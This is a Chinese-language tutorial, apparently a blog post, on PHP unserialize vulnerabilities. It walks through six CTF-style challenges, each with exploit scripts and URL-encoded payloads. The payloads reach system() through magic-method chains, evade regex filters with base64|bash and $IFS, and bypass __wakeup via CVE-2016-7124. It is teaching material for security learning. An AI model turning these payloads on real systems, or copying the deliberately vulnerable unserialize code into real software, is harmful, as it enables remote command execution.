news 2026/5/7 0:05:36

PHP反序列化基础详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化基础详解

PHP反序列化基础

标题首先明白什么是反序列化和序列化

序列化是将对象转换为可存储或传输的字符串形式,而反序列化则是将这些字符串重新还原为对象。这一机制在PHP中被广泛应用于数据存储、缓存和远程通信等场景。

PHP序列化和反序列函数讲解

PHP提供了serialize()和unserialize()两个函数用于序列化和反序列化操作。serialize()将对象转换为字符串,而unserialize()将字符串还原为对象。序列化字符串的结构包含对象的类名、属性和值等信息。

PHP 魔法函数(Magic Methods)

PHP 中的魔法函数(Magic Methods)是一组特殊的方法,以双下划线(__)开头,用于在特定情况下自动触发。这些方法允许开发者自定义对象的行为,例如属性访问、方法调用、对象序列化等。
常用魔法函数列表
__construct()
在对象实例化时自动调用,常用于初始化操作。

classExample{publicfunction__construct(){echo"对象已创建";}}$obj=newExample();// 输出 "对象已创建"

__destruct()
在对象销毁时自动调用,常用于资源释放。

classExample{publicfunction__destruct(){echo"对象已销毁";}}$obj=newExample();unset($obj);// 输出 "对象已销毁"

__get($name)
在访问未定义或不可访问的属性时触发。

classExample{private$data=[];publicfunction__get($name){return$this->data[$name]??null;}}$obj=newExample();echo$obj->nonExistentProperty;// 触发 __get

__set($name, $value)
在给未定义或不可访问的属性赋值时触发。

classExample{private$data=[];publicfunction__set($name,$value){$this->data[$name]=$value;}}$obj=newExample();$obj->nonExistentProperty="value";// 触发 __set

__call($name, $arguments)
在调用未定义或不可访问的方法时触发。

classExample{publicfunction__call($name,$arguments){echo"调用了未定义的方法:$name";}}$obj=newExample();$obj->nonExistentMethod();// 触发 __call

__toString()
在对象被当作字符串使用时触发(如 echo)。

classExample{publicfunction__toString(){return"这是一个对象";}}$obj=newExample();echo$obj;// 输出 "这是一个对象"

__invoke()
在对象被当作函数调用时触发。

classExample{publicfunction__invoke(){echo"对象被作为函数调用";}}$obj=newExample();$obj();// 输出 "对象被作为函数调用"

__sleep() 和 __wakeup()
在对象序列化(serialize())和反序列化(unserialize())时触发。

classExample{publicfunction__sleep(){return['property'];// 指定序列化的属性}publicfunction__wakeup(){$this->property="恢复后的值";}}

__clone()
在对象被克隆时触发。

classExample{publicfunction__clone(){echo"对象已被克隆";}}$obj1=newExample();$obj2=clone$obj1;// 输出 "对象已被克隆"

例题讲解

第一题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classSimpleVuln{public$command="echo 'Hello World'";publicfunction__destruct(){echo"执行命令: ".$this->command."<br>";system($this->command);}}if(isset($_GET['data'])){$data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($data)."<br>";$obj=unserialize($data);echo"反序列化完成";}?>

可以观察到SimpleVuln类在对象销毁时调用__destruct魔术方法里面有system函数执行了command变量里面的命令
漏洞利用脚本
我们把SimpleVuln类里的command 设置成我们cmd要执行的命令如cat flag.txt触发__destruct方法执行system(“cat flag.txt”)

<?phpclassSimpleVuln{public$command="cat flag.txt";}$vuln=newSimpleVuln;echoserialize($vuln);?>

payload:

O:10:“SimpleVuln”:1:{s:7:“command”;s:12:“cat flag.txt”;}

第二题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classVulnerable{private$command;publicfunction__construct($c){$this->command=$c;}publicfunction__destruct(){$filter_pattern='/php|;|cat|more|less|tail|head|cp|mv|rm|\s|flag/i';if(preg_match($filter_pattern,$this->command)){die("Hacker! WAF blocked your command!");}system($this->command);}}if(isset($_GET['data'])){$data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($data)."<br>";$obj=unserialize($data);echo"反序列化完成";}?>

我们可以看到第二题加入了一些命令执行的过滤的措施我们无法直接执行命令我们可以使用base64的方式绕过,先得出cat flag的base64代码

我们可以用echo Y2F0IGZsYWcudHh0Cg==|base64 -d|bash来执行这条代码,这条代码的意思是解析这段base64代码并且当做命令来执行cat flag.txt,Y2F0IGZsYWcudHh0Cg==是cat flag.txt的base64编码
漏洞利用脚本

<?phpclassVulnerable{private$command='echo$IFS$9Y2F0IGZsYWcudHh0Cg==|base64$IFS$9-d|bash';}$vuln=newVulnerable;echo(urlencode(serialize($vuln)))?>

paylaod(PHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0)

O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A19%3A%22%00Vulnerable%00command%22%3Bs%3A50%3A%22echo%24IFS%249Y2F0IGZsYWcudHh0Cg%3D%3D%7Cbase64%24IFS%249-d%7Cbash%22%3B%7D

第三题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classLogger{private$log;publicfunction__toString(){system($this->log);return"Logged";}}classVulnerable{private$command;publicfunction__construct($c){$this->command=$c;}publicfunction__destruct(){echo$this->command;}}if(isset($_GET['data'])){$data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($data)."<br>";$obj=unserialize($data);echo"反序列化完成";}?>

我们可以看到__toString魔术方法里有system($this->log);函数可以利用,__toString触发条件是 在对象被当作字符串使用时触发(如代码里的echo $this->command)如果Vulnerable类里的command是一个Logger就会触发__toString然后执行system函数
漏洞利用脚本

<?phpclassLogger{private$log="cat flag.txt";}classVulnerable{private$command;publicfunction__construct($c){$this->command=$c;}}$logger=newLogger;$Vuln=newVulnerable($logger);$ser=serialize($Vuln);echo(urlencode($ser));?>

payload(PHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0)
O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A19%3A%22%00Vulnerable%00command%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A11%3A%22%00Logger%00log%22%3Bs%3A12%3A%22cat+flag.txt%22%3B%7D%7D

第四题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classDatabase{protected$query;publicfunction__destruct(){// 真实的漏洞点:这里执行系统命令system($this->query);// 这就是攻击目标!}}classCache{private$data;publicfunction__wakeup(){// 触发点:这里会反序列化数据unserialize($this->data);}}// 真实的用户输入接收if(isset($_GET['data'])){$input_data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($input_data)."<br>";// 核心漏洞点:反序列化用户输入$obj=unserialize($input_data);echo"反序列化完成!";}?>

这里我们注意到其实这道题反序列化的两次
第一次是接收到我们用户的输入后obj = unserialize($input_data);这条代码
第二次反序列化是在 __wakeup()魔法函数的位置,漏洞利用点在Database类的__destruct魔法函数里的system代码
思路

先改Database 里的query为要执行的命令,序列化Database,将序列化的字符串传入Cache类的data变量中,再次序列化Cache。
反序列化顺序->Cache类->反序列化Cache类的data部分->Database类->执行system函数。
解题代码

<?phpclassDatabase{protected$query;publicfunction__construct($cmd){$this->query=$cmd;}}classCache{private$data;publicfunction__construct($data){$this->data=$data;}}$database=newDatabase("cat flag.txt");$dataser=serialize($database);$Cache=newCache($database);$ser=serialize($Cache);echo(urlencode($ser))?>

payload(PHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0):
O%3A5%3A%22Cache%22%3A1%3A%7Bs%3A11%3A%22%00Cache%00data%22%3BO%3A8%3A%22Database%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bs%3A12%3A%22cat+flag.txt%22%3B%7D%7D

第五题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classA{public$obj;publicfunction__wakeup(){$this->obj->func();}}classB{public$cmd;publicfunction__call($name,$args){$filter='/ls|cat|flag|\/etc|system|exec|passthru/i';if(preg_match($filter,$this->cmd)){die("命令被过滤!");}system($this->cmd);}}if(isset($_GET['payload'])){unserialize($_GET['payload']);}else{echo"请传入payload参数";}?>

我们发现在class B中利用正则对命令执行进行了限制,我们可以考虑base64绕过,然后漏洞函数是出现在call这个魔术方法中,触发__call的条件是在调用未定义或不可访问的方法时触发。我们看到在class A中变量obj指向的func方法在B中不存在就会触发call这个魔术方法执行system函数
思路将classA的obj赋值为class B,$this->class B->func();,因为class B中没有func函数就会调用class B的call魔法函数执行system命令
漏洞利用脚本

<?phpclassA{public$obj;}classB{public$cmd;}$a=newA;$b=newB;$a->obj=$b;$b->cmd="echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash";$ser=serialize($a);echo($ser)?>

payload
O:1:“A”:1:{s:3:“obj”;O:1:“B”:1:{s:3:“cmd”;s:40:“echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash”;}}

第六题

header('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classtricksbucket{public$wakeup=False;publicfunction__destruct(){if($this->wakeup===False){echo"You are in";if(isset($_GET['url'])){$url=$_GET['url'];if(strpos($url,"flag")===false||strpos($url,'base64')!==false||strpos($url,'http')!==false){exit("no flag , no base , no http");}$contents=file_get_contents($_GET['url']);if(strpos($contents,"flag")!==false){exit("contents has flag");}if($contents==="get"){include('flag.php');echo$flag;//echo "flag{***}";}}}else{exit("No~ you disturb me");}}publicfunction__wakeup(){$this->wakeup=True;}}if(isset($_GET['exp'])){unserialize($_GET['exp']);}else{highlight_file("hint.php");}

我们分析一下代码,我们首先要让wakeup保持False只有这样才能进入__destruct()的漏洞分支
但是有个问题PHP反序列化默认会调用__wakeup(),导致$wakeup被设为True。
绕过方法:
•方法1:利用PHP对C:序列化格式不调用__wakeup()的特性。
•方法2:利用CVE-2016-7124(修改属性数量,欺骗PHP不调用__wakeup())。
还有URL参数处理逻辑必须包含flag,不能包含base64,不能包含http,内容必须等于"get":contents===“get”
C:格式的标准结构
C:<类名长度>:“<类名>”:<数据长度>:{<序列化数据>}
对于 C:12:“tricksbucket”:0:{}
•C:- 格式标识
•12:- 类名"tricksbucket"的长度(12个字符)
•“tricksbucket”- 类名
•0:- 自定义数据的长度(0字节)
•{}- 空的数据内容
漏洞利用
方法1:利用PHP对C:序列化格式不调用__wakeup()的特性。
exp=C:12:“tricksbucket”:0:{}
方法2:CVE-2016-7124绕过

<?phpclasstricksbucket{public$wakeup=False;}$a=newtricksbucket;echo(serialize($a));?>

生成payload O:12:“tricksbucket”:1:{s:6:“wakeup”;b:0;}更改属性数量为2得出
exp=O:12:“tricksbucket”:2:{s:6:“wakeup”;b:0;}
URL构造
为什么这样写?
•data:URI绕过http/base64检查。
•x=flag满足strpos($url, “flag”) !== false。
•,get确保file_get_contents()返回"get"。
完整的payload
?exp=O:12:“tricksbucket”:2:{s:6:“wakeup”;b:0;}&url=data:text/plain;x=flag,get
或者
?exp=C:12:“tricksbucket”:0:{}&url=data:text/plain;x=flag,get
获取flag两种方式
利用PHP对C:序列化格式不调用__wakeup()的特性。
CVE-2016-7124绕过

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 22:18:11

Cursor Free VIP:AI编程助手的终极免费解锁方案

Cursor Free VIP&#xff1a;AI编程助手的终极免费解锁方案 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youve reached your trial req…

作者头像 李华
网站建设 2026/5/6 19:14:34

Proteus下DS18B20温度传感器仿真项目应用

在Proteus中玩转DS18B20&#xff1a;从单总线时序到温度读取的完整仿真实践你有没有遇到过这样的情况&#xff1f;想做个温度监控系统&#xff0c;手头却没有开发板、传感器和示波器&#xff0c;连最基本的接线都无从下手。更别提调试那让人抓狂的单总线时序了——一个脉冲宽了…

作者头像 李华
网站建设 2026/5/3 18:36:59

利用Betaflight CLI调试F7飞控:高级用户指南

深入飞控内核&#xff1a;用 Betaflight CLI 玩转 F7 飞控的工程级调参实战你有没有遇到过这种情况——穿越机在高速翻滚时机身剧烈抖动&#xff0c;图传画面像被“马赛克”侵蚀&#xff1f;或者明明调好了PID&#xff0c;飞行手感却始终差一口气&#xff1f;如果你还在靠Betaf…

作者头像 李华
网站建设 2026/5/1 9:24:53

Cursor Pro解锁工具终极指南:从技术原理到完整实施方案

Cursor Pro解锁工具终极指南&#xff1a;从技术原理到完整实施方案 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youve reached your tr…

作者头像 李华
网站建设 2026/5/1 11:26:52

U盘插上就可用!IndexTTS2情感TTS微PE便携部署方案

U盘插上就可用&#xff01;IndexTTS2情感TTS微PE便携部署方案 在AI语音合成技术日益成熟的今天&#xff0c;模型能力的提升已不再是唯一瓶颈。真正制约其落地的关键问题在于&#xff1a;如何让一个复杂的深度学习系统&#xff0c;在任意设备上“即插即用”&#xff1f; 面对客…

作者头像 李华
网站建设 2026/5/6 23:24:07

实时动捕新选择:Holistic Tracking帧率优化实战案例

实时动捕新选择&#xff1a;Holistic Tracking帧率优化实战案例 1. 引言&#xff1a;从虚拟主播到元宇宙的感知基石 随着虚拟数字人、Vtuber 和元宇宙应用的爆发式增长&#xff0c;对低延迟、高精度、全维度人体感知技术的需求日益迫切。传统动作捕捉系统依赖多摄像头阵列或穿…

作者头像 李华